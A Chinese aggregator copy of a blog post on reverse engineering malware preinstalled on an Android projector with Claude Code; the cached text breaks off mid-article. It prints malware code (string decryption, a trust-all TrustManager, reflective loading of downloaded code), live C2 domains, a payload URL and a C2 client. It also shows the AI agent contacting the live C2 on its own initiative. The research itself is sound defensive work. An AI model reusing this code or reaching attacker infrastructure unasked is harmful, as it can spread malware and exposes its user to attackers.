使用Claude Code对Android恶意软件进行逆向工程

Lobsters Hottest 新闻

摘要

本文详细介绍了作者如何使用Claude Code对预装在廉价Android投影仪上的恶意软件进行逆向工程,识别并禁用了可疑的软件包。

<p><a href="https://lobste.rs/s/b5hrqb/reverse_engineering_android_malware">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/05/18 02:25

# 使用 Claude Code 逆向工程安卓恶意软件 来源:https://zanestjohn.com/blog/reing-with-claude-code 我从 AliExpress 花 35 美元买了一个投影仪,对准卧室墙壁。连上 Wi-Fi 没几分钟,我的 Pi-hole 就亮起了警报。`o.fecebbbk.xyz`?`impression.appsflyer.com`?我还没打开浏览器、安装任何应用,甚至连主界面都没划过去。这个投影仪自己在偷偷联网。紧接着:`usmyip.kkoip.com`。我当时还不知道那是什么。但我很快就会知道。 --- 像 Magcubic HY300 Pro+ (https://www.aliexpress.us/item/3256809335880112.html) 这样的廉价投影仪已经席卷了 TikTok (https://www.tiktok.com/tag/projector)、Amazon (https://www.amazon.com/s?k=projector)、Temu (https://www.temu.com/search_result.html?search_key=projector) 和 AliExpress。Reddit 上的投影仪社区对它们评价不高 (https://www.reddit.com/r/projectors/comments/1olnlnk/how_do_i_fix_my_magcubic_projector/),抱怨从画质差到彻底无法开机 (https://www.reddit.com/r/projectors/comments/1jvn2tk/hy_300_dont_turn_on/) 的都有。我花大约 35 美元买了这台,标榜 8000 流明(值得怀疑)、自动梯形校正和“4K 支持”。我预感它会跟那些电视盒子一样 (https://www.pcmag.com/news/fbi-cheap-android-media-streaming-device-hosting-badbox-malware),附带些不干净的恶意软件——这本身就是乐趣的一部分。 开机后,体验比预期的要专业。Android 11 (API 30),生产版本(不是测试签名!),并且没有预 root。但这个精美的启动器无法完全掩盖底层的可疑之处——我的 Pi-hole 已经说得很清楚了。 https://zanestjohn.com/blog/reing-with-claude-code#getting-started ## 开始 拿着 `adb` 和 jadx (https://github.com/skylot/jadx),我开始检查预装的应用。第一个红旗:设备明明不是 HTC 制造的,却有一堆 `com.htc.` 包。它是由一家叫 Hotack 的公司生产的(以 Magcubic 等品牌销售)。一个拙劣的伪装。 在伪造的 `com.htc.` 命名空间和可疑的 DNS 流量之间,我强烈感觉这些包就是罪魁祸首。要禁用它们,我首先需要 root 权限;这些是系统级应用,没有 root 动不了。按照 XDA 论坛上的这个教程 (https://xdaforums.com/t/beta-android-tv-and-root-tutorial-for-allwinner-h713-based-projectors.4744020/) root 了设备,然后禁用了所有看起来可疑的包: ``` adb shell pm disable-user --user 0 com.hotack.silentsdk adb shell pm disable-user --user 0 com.htc.eventuploadservice adb shell pm disable-user --user 0 com.htc.expandsdk adb shell pm disable-user --user 0 com.htc.htcotaupdate adb shell pm disable-user --user 0 com.htc.storeos ``` 禁用了五个包。可疑的 DNS 查询停止了。这证实了它们就是罪魁祸首,但我想确切知道它们到底在做什么。于是我把 APK 拉了下来: ``` adb pull $(adb shell pm path com.hotack.silentsdk | cut -d: -f2) silentsdk.apk adb pull $(adb shell pm path com.htc.eventuploadservice | cut -d: -f2) eventuploadservice.apk adb pull $(adb shell pm path com.htc.expandsdk | cut -d: -f2) expandsdk.apk adb pull $(adb shell pm path com.htc.htcotaupdate | cut -d: -f2) htcotaupdate.apk adb pull $(adb shell pm path com.htc.storeos | cut -d: -f2) storeos.apk ``` 我在 jadx 中打开 `com.hotack.silentsdk`。ProGuard/R8 混淆将类名缩减为单个字母——`a.java`、`b.java`、`f.java`——并带有加密字符串和故意搞乱的执行流程。手工追踪代码一段时间后,我可以看到大致轮廓:一个开机启动的服务,联系远程服务器,然后下载东西。但是手动解密混淆字符串、追踪反射调用链、映射 C2 协议……这要花好几天。我可不想一个人硬干。 https://zanestjohn.com/blog/reing-with-claude-code#letting-claude-code-drive ## 让 Claude Code 来驱动 我之前用过 Claude Code (https://docs.anthropic.com/en/docs/agents-and-tools/claude-code/overview),效果好坏参半(但总体积极),用于软件工程工作。我怀疑它不仅能加速逆向工程中枯燥的部分。我用 jadx 反编译了 APK,把源代码导出到目录里,然后给它了一个提示: ``` # Android 投影仪恶意软件调查 你正在调查一台疑似预装恶意软件的 Android 投影仪。你通过 ADB 拥有 root 权限。 **在进行重大分析步骤之前请仔细思考。维护一个待办事项列表以跟踪进度。** ## 任务 发现可疑包,对它们进行逆向工程,识别 C2 基础设施,并将一切记录为入侵指标 (IoC)。 ## 工具 ADB(root 可用 - 在 `adb shell` 中使用 `su` 获取 root)、JADX(反编译器)、Python(脚本)和标准 CLI 工具。 ## 提示 - 我标记的已禁用包很可能是可疑 DNS 流量的来源 - 预期会遇到混淆和加密字符串 ## 交付物 完成后编写全面的报告(FINDINGS.md + 技术深度分析)。 ## 成功标准 完全记录恶意软件的能力、基础设施和攻击链。 ``` 然后我就让它运行了。它的第一步是找到并解码遍布在 `com.hotack.silentsdk` 中的 XOR 加密字符串。敏感字符串(URL、算法名称、文件路径等)被存储为加密的字节数组,并在运行时使用循环 XOR 密码解码: ```java // a/a.java:834 - XOR 字符串解密 public static String g(byte[] bArr, byte[] bArr2) { int length = bArr.length; int length2 = bArr2.length; int i3 = 0; int i4 = 0; while (i3 < length) { if (i4 >= length2) { i4 = 0; // 旋转密钥 } bArr[i3] = (byte) (bArr[i3] ^ bArr2[i4]); i3++; i4++; } return new String(bArr); } ``` 教科书式的混淆;它击败了静态字符串分析,但一旦你看清模式,就很容易反解。我本以为 Claude Code 会标记这个并问我该怎么做。没想到,它主动写了一个 Python 脚本,遍历整个反编译的代码库,自动解密每一次对这个函数的调用: ```python def xor_decode(data_bytes, key_bytes): """复现恶意软件的循环 XOR 密码。""" result = [] key_idx = 0 for i in range(len(data_bytes)): if key_idx >= len(key_bytes): key_idx = 0 # 处理 Java 的有符号字节 d = data_bytes[i] & 0xFF k = key_bytes[i % len(key_bytes)] & 0xFF result.append(d ^ k) key_idx += 1 return bytes(result).decode('utf-8', errors='replace') ``` 几秒钟内,整个代码库就暴露无遗了: | 加密调用 | 解密后的值 | 用途 | |---|---|---| | `g({-99,127,58,...}, {-4,15,83,...})` | `api.pixelpioneerss.com` | C2 域名 | | `g({125,61,58,...}, {21,73,78,...})` | `https://` | 协议前缀 | | `g({35,-3,-58,-76}, {69,-52,-10,...})` | `f101` | 活动标识符 | | `g({-78,124,-112,...}, {-26,49,-62,...})` | `TMRXwWJu3G5` | 有效载荷数据目录 | | `g({-101,-100,115,...}, {-45,-16,4,...})` | `HlwET4RJQV` | SharedPreferences 文件名 | | `g({-83,-92,-19,...}, {-50,-52,-128,...})` | `chmod 777` | Shell 命令 | `api.pixelpioneerss.com`。我们的 C2 服务器。对下载的文件执行 `chmod 777`。这可不是什么分析 SDK。我手工要花几个小时的事情,几分钟就完成了。而这仅仅是开始——Claude Code 已经在继续分析下一个 APK,根本没有等我。 https://zanestjohn.com/blog/reing-with-claude-code#the-malware-ecosystem ## 恶意软件生态 通过分析每个反编译的 APK,Claude Code 绘制出了一套协调的供应商恶意软件: | 包名 | 角色 | C2 基础设施 | |---|---|---| | `com.hotack.silentsdk` | 远程访问木马 / Dropper | `api.pixelpioneerss.com` | | `com.htc.eventuploadservice` | 设备遥测数据外泄 | `event-api.aodintech.com` | | `com.htc.expandsdk` | 广告注入 & 恶意软件持久化 | `pb-api.aodintech.com` | | `com.htc.htcotaupdate` | OTA 更新(注意,通过 HTTP) | `ota.triplesai.com` | | `com.htc.storeos` | 静默应用安装器(不完全恶意) | `store-api.aodintech.com` | `aodintech.com` 基础设施显然是一个商业广告/追踪网络。`triplesai.com` 上的 OTA 服务器通过未加密的 HTTP 传输更新,并有一个纯 IP 回退(`139.199.190.220`,腾讯云)。没有证书锁定,没有签名验证。对更新过程进行中间人攻击将非常容易。 但皇冠上的明珠是 `com.hotack.silentsdk`。这远远超出了普通广告软件的范围:它是一个功能齐全的远程访问木马。 https://zanestjohn.com/blog/reing-with-claude-code#dissecting-the-rat ## 剖析 RAT 我专门让 Claude Code 分析 SilentSDK: ``` 请发送一个探索代理仔细检查反编译的 silentsdk 代码库。代理完成后,利用它告诉你的信息深入挖掘 silentsdk 的操作和行为。最后,编写一份 SILENTSDK.md,详细说明其目的和运作方式(协议、混淆、API 调用中的安全性模糊等)。 ``` 它返回了完整的图景。SilentSDK 的 Android 清单在查看代码之前就告诉了我们很多: ```xml android:sharedUserId="android.uid.system" android:foregroundServiceType="systemExempted" android:usesCleartextTraffic="true" ``` `android.uid.system` 意味着这个应用以系统级权限运行,与核心 Android 服务相同。这只有在 APK 使用制造商的平台证书签名时才有效。它不是悄悄溜进设备的;它是从一开始就被内置进去的。 https://zanestjohn.com/blog/reing-with-claude-code#boot-persistence ### 启动持久化 恶意软件注册了一个优先级为 999(接近最高)的启动接收器,确保它几乎在所有其他应用之前启动: ```java // BootReceiver.java public final void onReceive(Context context, Intent intent) { if (Build.VERSION.SDK_INT >= 26) { context.startForegroundService(new Intent(context, MyService.class)); } else { context.startService(new Intent(context, MyService.class)); } } ``` `MyService` 作为一个 `systemExempted` 前台服务运行——免于 Android 的后台限制,基本上无法被杀死。它返回 `START_STICKY`,所以如果它被停止,Android 会自动重启它。一旦运行,它会注册一个 `NetworkCallback`,在网络连接可用时立即触发 C2 通信。 https://zanestjohn.com/blog/reing-with-claude-code#c2-protocol ### C2 协议 Claude Code 追踪了 `b/n.java` 和 `b/a.java` 中的混淆代码,并逆向工程了整个 C2 协议。当恶意软件回传时,它会生成一个带有随机路径的混淆 URL: ```java // b/n.java:39 - 带有随机子域名路径的 URL 构建 public static String b(String str) { Random random = new Random(); int length = random.nextInt(5) + 8; // 8-12 字符随机路径 char[] chars = new char[length]; int letterPos = random.nextInt(length); chars[letterPos] = new char[]{'a', 'A', 'b', 'B'}[random.nextInt(4)]; for (int i = 0; i < length; i++) { if (i != letterPos) { chars[i] = "0123456789abcdefghijklmnopqrstuvwxyz".charAt( random.nextInt(36)); } } return "https://api.pixelpioneerss.com/" + new String(chars); } ``` 每次请求都指向一个唯一的 URL,比如 `https://api.pixelpioneerss.com/aB3k9mP2s`,使得仅通过路径来识别流量变得更加困难。请求负载是一个 JSON 对象,包含设备指纹(UUID 的 SHA-256 哈希、设备品牌、型号、IMEI、Android ID 和时间戳),加上包名、活动密钥(`f101`)和 SDK 版本。这使用随机密钥和 IV 通过 AES-128-CBC 加密,然后打包成二进制消息: ``` 请求格式: ┌────────────┬────────────────┬──────────┬──────────┐ │ Version(4) │ Ciphertext(N) │ IV(16) │ Key(16) │ └────────────┴────────────────┴──────────┴──────────┘ int32 BE AES-CBC data Random Random (1003) 128-bit 128-bit ``` 是的,加密密钥以明文形式附加在密文之后。这种“加密”不是为了安全;而是为了混淆。它可以击败随意的网络检查和基本的 IDS 模式匹配,但无法抵抗真正的分析。自定义 HTTP 头 `a: 1003` 是另一个指纹。并且恶意软件设置了一个自定义的 `TrustManager`,接受*任何* SSL 证书: ```java TrustManager[] trustManagerArr = {new j()}; // 接受所有证书 SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() ); ``` 如果 HTTPS 完全失败,它会回退到纯 HTTP。安全显然不是优先考虑的事情。 https://zanestjohn.com/blog/reing-with-claude-code#talking-to-the-c2 ### 与 C2 通信 这时事情对我来说变得 surreal 了。在映射完整个协议后,Claude Code——主动地——决定下一步是*真正与 C2 通信*。它从零开始写了一个 Python 客户端: ```python class MalwareC2Client: C2_DOMAIN = "api.pixelpioneerss.com" VERSION = 1003 def _encrypt_message(self, plaintext): """AES-128-CBC 加密并打包协议。""" key = get_random_bytes(16) iv = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) # 打包:[version][ciphertext][iv][key] version_bytes = struct.pack('>I', self.VERSION) return version_bytes + ciphertext + iv + key def _decrypt_response(self, message): """解密 C2 响应。注意:格式与请求不同!""" # 响应没有版本字段 key = message[-16:] iv = message[-32:-16] ciphertext = message[:-32] cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext), AES.block_size).decode() ``` 它通过试错发现了一个细微之处:响应格式*不同于*请求格式。请求包含一个 4 字节的版本字段;响应没有。这是通过运行客户端、遇到错误、重新读取反编译的解密方法(`b/a.java:a()`),然后修复实现才弄清楚的。实时观察这个过程相当有趣。 C2 有响应。它是在线的: ```json { "code": "0000", "data": { "a": "https://sta.smartinnovate.net/sdkfile/uploadfile/53e49c7bf3e93b57f8cbfc7fb9a65126.jar", "b": "53e49c7bf3e93b57f8cbfc7fb9a65126", "c": 6037, "d": 3600000, "e": "128.12.122.35", "f": "United States of America/California/Stanford", "g": false } } ``` 我盯着字段 `f` 看了好一会儿。“United States of America/California/Stanford”。字段 `e` 是我的 IP 地址,字段 `f` 是我的地理位置信息。C2 是活的,清楚地知道我在哪里,并且正在提供下一阶段的有效载荷(字段 `a`),附带了 MD5 哈希(字段 `b`)和一小时的 TTL(字段 `d`:3,600,000 毫秒)。 https://zanestjohn.com/blog/reing-with-claude-code#dynamic-code-loading ### 动态代码加载 这就是 SilentSDK 从“可疑的追踪 SDK”跨越到“完整的远程访问木马”的地方。恶意软件下载一个包含 DEX(Dalvik Executable)的 JAR,验证其 MD5 哈希,并通过 `DexClassLoader` 动态加载它,使用反射来避免静态检测: ```java // b/k.java - 通过反射加载 DEX public final Class b(Context context, int version, String dexPath, Object classLoader) { Class dexLoaderClass = Class.forName( "dalvik" + "." + "system" + "." + "Dex" + "Class" + "Loader" ); Constructor constructor = dexLoaderClass.getConstructors()[0]; Object loader = constructor.newInstance(dexPath, cacheDir, null, classLoader); Method loadClass = dexLoaderClass.getDeclaredMethod("loadClass", String.class); loadClass.setAccessible(true); return (Class) loadClass.invoke(loader, "com" + "." + "sdk" + "." + "Entry" + "Point" ); } ``` 甚至连 `"dalvik.system.DexClassLoader"` 也是通过片段拼接而成,以躲避标记此类名的工具。加载的类通过带有 `(Context, Bundle)` 签名的反射来调用,这意味着 C2 可以传递*任何*它想要的代码,并以系统权限执行。

相似文章

来自谷歌的新型安卓恶意软件

Hacker News Top

F-Droid认为,谷歌的Android开发者验证程序(ADV)要求开发者注册并付费才能分发应用,这实际上就是一种恶意软件,会阻止未经批准的软件,影响数十亿设备。

深入探索Widevine L3

Lobsters Hottest

这篇博客文章详细介绍了使用Qiling仿真框架、差分故障分析和代码反混淆来破解Widevine L3 DRM的技术,并解释了如何从Android库中提取设备密钥。